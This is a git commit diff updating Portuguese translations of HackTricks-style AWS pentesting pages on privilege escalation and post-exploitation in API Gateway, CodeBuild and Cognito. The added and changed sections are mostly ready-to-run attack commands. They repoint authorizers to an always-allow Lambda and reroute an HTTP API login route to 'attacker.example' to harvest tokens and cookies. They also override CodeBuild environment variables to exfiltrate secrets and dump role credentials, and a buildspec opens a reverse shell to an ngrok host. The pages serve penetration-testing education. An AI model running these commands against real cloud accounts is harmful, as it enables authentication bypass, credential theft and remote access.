Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-15 21:38:12 +00:00
parent f4b8674e74
commit e0e72c8a68
6 changed files with 297 additions and 125 deletions

View File

@@ -4,29 +4,52 @@
## API Gateway
Para mais informações, consulte:
Para mais informações consulte:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Política de Recursos
### Resource Policy
Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles
Modifique a resource policy do(s) API gateway(s) para conceder a si mesmo acesso a eles
### Modificar Lambda Authorizers
### Modify Lambda Authorizers
Modifique o código dos lambda authorizers para conceder a si mesmo acesso a todos os endpoints.\
Ou simplesmente remova o uso do authorizer.
### Permissões IAM
Se você tiver permissões de control-plane para **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) você também pode **repoint the authorizer to a Lambda that always allows**.
Se um recurso estiver usando um IAM authorizer você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
Ou simplesmente remova o uso do authorizer.
REST APIs (alterações normalmente requerem um deployment):
```bash
REGION="us-east-1"
REST_API_ID="<rest_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
```
APIs HTTP / `apigatewayv2` (muitas vezes entra em vigor imediatamente):
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### IAM Permissões
Se um recurso estiver usando o IAM authorizer, você poderia conceder a si mesmo acesso a ele modificando as permissões do IAM.\
Ou simplesmente remover o uso do authorizer.
### API Keys
Se API keys estiverem sendo usadas, você pode leak as chaves para manter persistence ou até criar novas.\
Ou simplesmente remova o uso de API keys.
Se API keys forem usadas, você poderia leak API keys para manter a persistência ou até criar novas.\
Ou simplesmente remover o uso de API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## API Gateway
Para mais informações consulte:
Para mais informações, veja:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
@@ -12,35 +12,58 @@ Para mais informações consulte:
### Acessar APIs não expostas
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o service `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede à qual você tenha acesso (potencialmente via uma máquina EC2) e atribuir um security group permitindo todas as conexões.\
Então, a partir da máquina EC2 você poderá acessar o endpoint e, portanto, chamar o API Gateway que não estava exposto antes.
Você pode criar um endpoint em [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) com o serviço `com.amazonaws.us-east-1.execute-api`, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.\
Então, a partir da máquina EC2 você conseguirá acessar o endpoint e, portanto, chamar o gateway API que não estava exposto antes.
### Contornar o passthrough do corpo da requisição
### Bypass Request body passthrough
Esta técnica foi encontrada em [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, irá passar a requisição para o back end sem qualquer transformação.
Como indicado na [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) na seção `PassthroughBehavior`, por padrão, o valor **`WHEN_NO_MATCH`**, ao verificar o cabeçalho **Content-Type** da requisição, encaminhará a requisição para o back end sem transformação.
Portanto, no CTF o API Gateway tinha um integration template que estava **impedindo a exfiltração da flag** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
Portanto, no CTF o API Gateway tinha um integration template que estava **preventing the flag from being exfiltrated** em uma resposta quando uma requisição era enviada com `Content-Type: application/json`:
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
No entanto, enviar uma requisição com **`Content-type: text/json`** contornaria esse filtro.
Por fim, como o API Gateway só permitia `Get` e `Options`, era possível enviar uma query arbitrária ao dynamoDB sem qualquer limitação, enviando uma requisição POST com a query no corpo e usando o header `X-HTTP-Method-Override: GET`:
Finalmente, como o API Gateway só permitia `Get` e `Options`, foi possível enviar uma consulta arbitrária ao dynamoDB sem qualquer limite, enviando uma requisição POST com a query no corpo e usando o cabeçalho `X-HTTP-Method-Override: GET`:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### Usage Plans DoS
Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tiver a chave e ela estiver **limitada** a X usos **por mês**, você poderia **simplesmente usá-la e causar um DoS**.
Na seção **Enumeration** você pode ver como **obter o usage plan** das chaves. Se você tem a chave e ela está **limitada** a X usos **por mês**, você poderia **simplesmente usála e causar um DoS**.
A **API Key** só precisa ser **incluída** em um **HTTP header** chamado **`x-api-key`**.
A **API Key** só precisa ser **incluída** dentro de um **HTTP header** chamado **`x-api-key`**.
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
Se você puder atualizar uma **HTTP API integration**, pode **reapontar** uma rota sensível (ex.: `/login`, `/token`, `/submit`) para um endpoint HTTP controlado pelo atacante e silenciosamente **coletar headers e bodies** (cookies, bearer tokens `Authorization`, session ids, API keys, secrets enviados por jobs internos, etc.).
Fluxo de exemplo:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
```
Notas:
- Para **HTTP APIs**, as alterações geralmente entram em vigor imediatamente (ao contrário de REST APIs, onde você tipicamente precisa criar uma implantação).
- Se você pode apontar para uma URL arbitrária depende do tipo/config da integração; em alguns casos você também pode ser capaz de alterar o tipo de integração ao aplicar um patch.
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir headers customizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
Um atacante com as permissões `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` pode **modificar um Gateway Response existente para incluir cabeçalhos personalizados ou templates de resposta que leak informações sensíveis ou executem scripts maliciosos**.
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -58,7 +81,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para um stage diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache**.
Um atacante com as permissões `apigateway:UpdateStage` e `apigateway:CreateDeployment` pode **modificar um stage existente do API Gateway para redirecionar o tráfego para outro stage ou alterar as configurações de cache para obter acesso não autorizado aos dados em cache**.
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -72,11 +95,11 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
**Impacto Potencial**: Acesso não autorizado a dados em cache, interrupção ou interceptação do tráfego da API.
> [!NOTE]
> Necessita de testes
> Precisa de testes
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar o Method Response de um método existente do API Gateway REST API para incluir headers personalizados ou response templates que leak informações sensíveis ou executem scripts maliciosos**.
Um atacante com as permissões `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` pode **modificar a resposta de um método existente do API Gateway REST API para incluir cabeçalhos personalizados ou modelos de resposta que leak informações sensíveis ou executem scripts maliciosos**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Leakage de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
**Impacto Potencial**: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
> [!NOTE]
> Necessita de testes
> Precisa de testes
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desabilitar logs ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
Um atacante com as permissões `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` pode **modificar as configurações do API Gateway REST API para desativar o logging ou alterar a versão mínima de TLS, potencialmente enfraquecendo a segurança da API**.
```bash
API_ID="your-api-id"
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Enfraquecimento da segurança da API, potencialmente permitindo acesso não autorizado ou expondo informações sensíveis.
**Impacto Potencial**: Enfraquecimento da segurança da API, possivelmente permitindo acesso não autorizado ou expondo informações sensíveis.
> [!NOTE]
> Necessita de testes
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
Um atacante com permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas chaves de API, associá-las a planos de uso e então usar essas chaves para acesso não autorizado às APIs**.
Um atacante com as permissões `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` pode **criar novas API keys, associá-las a usage plans e então usar essas chaves para acesso não autorizado às APIs**.
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +147,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
**Potential Impact**: Acesso não autorizado a recursos de API, contornando controles de segurança.
**Impacto potencial**: Acesso não autorizado a recursos de API, contornando controles de segurança.
> [!NOTE]
> Necessita de testes
> Requer testes
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Apigateway
Para mais informações consulte:
Para mais informações, confira:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
@@ -12,37 +12,37 @@ Para mais informações consulte:
### `apigateway:POST`
Com essa permissão você pode gerar API keys das APIs configuradas (por região).
Com essa permissão você pode gerar chaves de API das APIs configuradas (por região).
```bash
aws --region <region> apigateway create-api-key
```
**Impacto Potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
**Impacto Potencial:** Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.
### `apigateway:GET`
Com esta permissão você pode obter chaves de API geradas das APIs configuradas (por região).
Com essa permissão você pode obter as API keys geradas das APIs configuradas (por região).
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```
**Impacto potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
**Impacto Potencial:** Você não consegue privesc com esta técnica, mas pode obter acesso a informações sensíveis.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Com essas permissões é possível modificar a política de recurso de uma API para conceder a si mesmo permissão para chamá-la e abusar de qualquer acesso potencial que o API gateway possa ter (como invocar uma lambda vulnerável).
Com essas permissões é possível modificar a política de recursos de uma API para se dar acesso para chamá-la e abusar de eventuais acessos que o API gateway possa ter (como invocar uma lambda vulnerável).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
**Potential Impact:** Normalmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
**Impacto Potencial:** Você, normalmente, não conseguirá privesc diretamente com essa técnica, mas pode obter acesso a informações sensíveis.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> Precisa de testes
> Necessita de testes
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tenha uma IAM role anexada**. O atacante pode então **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados à IAM role**.
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente usando uma função Lambda que tenha um IAM role associado**. Em seguida, o atacante pode **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao IAM role**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
> Necessita de testes
> Requer testes
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações à API forem feitas.
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança (por exemplo, apontá-lo para uma Lambda que sempre retorna "allow") ou para executar código arbitrário quando solicitações à API são feitas.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -75,12 +75,24 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
**Impacto potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
#### HTTP APIs / `apigatewayv2` variante
Para HTTP APIs (API Gateway v2), a operação equivalente é atualizar o authorizer via `apigatewayv2`:
```bash
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
```
### `apigateway:UpdateVpcLink`
> [!NOTE]
> Precisa de testes
> Requer testes
Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos**.
```bash
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
```
**Impacto Potencial**: Acesso não autorizado a recursos privados de API, interceptação ou interrupção do tráfego da API.
**Impacto Potencial**: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## codebuild
Obtenha mais informações em:
Mais informações em:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@ Obtenha mais informações em:
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
Basta apenas uma dessas permissões para acionar um build com um novo buildspec e roubar o token do iam role atribuído ao projeto:
Basta uma dessas permissões para acionar um build com um novo buildspec e roubar o token da iam role atribuída ao projeto:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -61,13 +61,76 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
**Nota**: A diferença entre esses dois comandos é que:
- `StartBuild` aciona um único job de build usando um `buildspec.yml` específico.
- `StartBuildBatch` permite iniciar um lote de builds, com configurações mais complexas (como executar múltiplos builds em paralelo).
- `StartBuildBatch` permite iniciar um lote de builds, com configurações mais complexas (como rodar múltiplos builds em paralelo).
**Impacto Potencial:** Privesc direto para roles do AWS Codebuild anexados.
**Impacto Potencial:** privesc direto para as roles do AWS Codebuild anexadas.
#### StartBuild Override de Env Vars
Mesmo se você **não puder modificar o projeto** (`UpdateProject`) e **não puder sobrescrever o buildspec**, `codebuild:StartBuild` ainda permite sobrescrever env vars no momento do build via:
- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`
Se o build usa environment variables para controlar o comportamento (buckets de destino, feature flags, configurações de proxy, logs, etc.), isso pode ser suficiente para **exfiltrar segredos** que a role do build consegue acessar ou para obter **execução de código** dentro do build.
##### Exemplo 1: Redirecionar Artifact/Upload Destination para Exfiltrar Segredos
Se o build publica um artifact em um bucket/path controlado por uma env var (por exemplo `UPLOAD_BUCKET`), sobrescreva para um bucket controlado pelo atacante:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Exemplo 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
Se o build executar `python3` (comum em buildspecs), às vezes você pode obter execução de código sem tocar no buildspec abusando de:
- `PYTHONWARNINGS`: Python resolve o *category* field e importará caminhos com pontos. Defini-lo como `...:antigravity.x:...` força a importação do módulo stdlib `antigravity`.
- `antigravity`: chama `webbrowser.open(...)`.
- `BROWSER`: controla o que `webbrowser` executa. No Linux é separado por `:`. Usar `#%s` faz com que o argumento de URL seja um comentário do shell.
Isso pode ser usado para imprimir as credenciais da role do CodeBuild (de `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) nos logs do CloudWatch, e então recuperá-las se você tiver permissões de leitura dos logs.
<details>
<summary>Expansível: requisição StartBuild JSON para o truque <code>PYTHONWARNINGS</code> + <code>BROWSER</code></summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Um atacante com as permissões **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** seria capaz de **escalar privilégios para qualquer codebuild IAM role** criando uma em execução.
Um atacante com as **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** permissões seria capaz de **escalar privilégios para qualquer codebuild IAM role** criando um em execução.
{{#tabs }}
{{#tab name="Example1" }}
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc direto para qualquer AWS Codebuild role.
**Impacto Potencial:** Direct privesc to any AWS Codebuild role.
> [!WARNING]
> Em um **Codebuild container** o arquivo `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para acessar as **credenciais de metadados**.
> Em um **Codebuild container** o ficheiro `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para aceder às **credenciais de metadados**.
> Este arquivo contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho da URL** para acessar as credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Este ficheiro contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho URL** para aceder às credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Adicione isso à URL **`http://169.254.170.2/`** e você poderá extrair as credenciais da role.
> Adicione isso ao URL **`http://169.254.170.2/`** e você poderá dump as credenciais da role.
> Além disso, ele também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém a URL completa para obter **informações de metadados sobre o container**.
> Além disso, também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém o URL completo para obter **informações de metadados sobre o container**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Assim como na seção anterior, se em vez de criar um build project você puder modificá-lo, você pode indicar o IAM Role e roubar o token
Assim como na seção anterior, se em vez de criar um projeto de build você puder modificá-lo, pode indicar o IAM Role e roubar o token
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -222,7 +285,7 @@ aws codebuild start-build --project-name codebuild-demo-project
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos existentes do Codebuild e acessar a role que já lhes foi atribuída**.
Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos Codebuild existentes e acessar a role que eles já têm atribuída**.
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
**Impacto Potencial:** Privesc direto para os roles anexados do AWS Codebuild.
**Impacto Potencial:** Privesc direto para as roles anexadas do AWS Codebuild.
### SSM
Tendo **enough permissions to start a ssm session** é possível entrar **inside a Codebuild project** que está sendo construído.
Tendo **permissões suficientes para iniciar uma sessão ssm** é possível entrar **dentro de um projeto Codebuild** enquanto está sendo construído.
The codebuild project will need to have a breakpoint:
@@ -319,13 +382,13 @@ E então:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
Para mais informações [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
Um atacante capaz de iniciar/reiniciar um build de um projeto CodeBuild específico que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
Um attacker capaz de iniciar/reiniciar um build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o attacker tem write access, pode obter command execution no processo do CodeBuild.
Nota: a escalada é relevante apenas se o CodeBuild worker tiver um role diferente, preferivelmente mais privilegiado, do que o do atacante.
Note: a escalation é relevante apenas se o CodeBuild worker tiver um role diferente preferencialmente mais privileged — do que o role do attacker.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
@@ -351,13 +414,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Impacto:** Privesc direto para a role usada pelo AWS CodeBuild worker que normalmente tem altos privilégios.
**Impacto:** privesc direto para a role usada pelo AWS CodeBuild worker que geralmente tem privilégios elevados.
> [!WARNING]
> Observe que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e enviar
> Observe que o buildspec pode estar em formato zip, então um atacante precisaria fazer download, unzip, modificar o `buildspec.yml` do diretório raiz, zip novamente e fazer upload
Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Potencial Impacto:** Privesc direto para as roles anexadas do AWS CodeBuild.
**Impacto Potencial:** privesc direto para as AWS Codebuild roles associadas.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,23 +4,23 @@
## Cognito
Para mais informações sobre Cognito, veja:
Para mais informações sobre Cognito consulte:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Coletando credenciais do Identity Pool
### Coleta de credenciais do Identity Pool
Como o Cognito pode conceder **IAM role credentials** tanto a **authenticated** an **unauthenticated** **users**, se você localizar o **Identity Pool ID** de uma aplicação (deve estar hardcoded nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem tinha credenciais anteriormente).
Como o Cognito pode conceder **IAM role credentials** tanto a **usuários autenticados** quanto a **usuários não autenticados**, se você localizar o **Identity Pool ID** de uma aplicação (geralmente codificado diretamente nela) você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde provavelmente você nem sequer tinha credenciais anteriormente).
Para mais informações [**consulte esta página**](../../aws-unauthenticated-enum-access/index.html#cognito).
**Impacto Potencial:** Privesc direto para o service role anexado aos unauth users (e provavelmente para o anexado aos auth users).
**Impacto Potencial:** Privesc direto para o role de serviços anexado aos usuários não autenticados (e provavelmente também para o anexado aos usuários autenticados).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Com essa permissão você pode **conceder qualquer cognito role** aos authenticated/unauthenticated users do aplicativo Cognito.
Com essa permissão você pode **conceder qualquer cognito role** aos usuários autenticados/não autenticados do app Cognito.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Se o app cognito **não tiver usuários não autenticados ativados**, você também pode precisar da permissão `cognito-identity:UpdateIdentityPool` para habilitá-la.
Se o app do Cognito **não tiver usuários não autenticados habilitados** você pode precisar também da permissão `cognito-identity:UpdateIdentityPool` para ativá-la.
**Impacto Potencial:** privesc direto para qualquer cognito role.
**Impacto Potencial:** Privesc direto para qualquer role do Cognito.
### `cognito-identity:update-identity-pool`
Um atacante com essa permissão poderia configurar, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **forma de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuário permitirá que ele **accesse a role autenticada configurada no Identity Pool**.
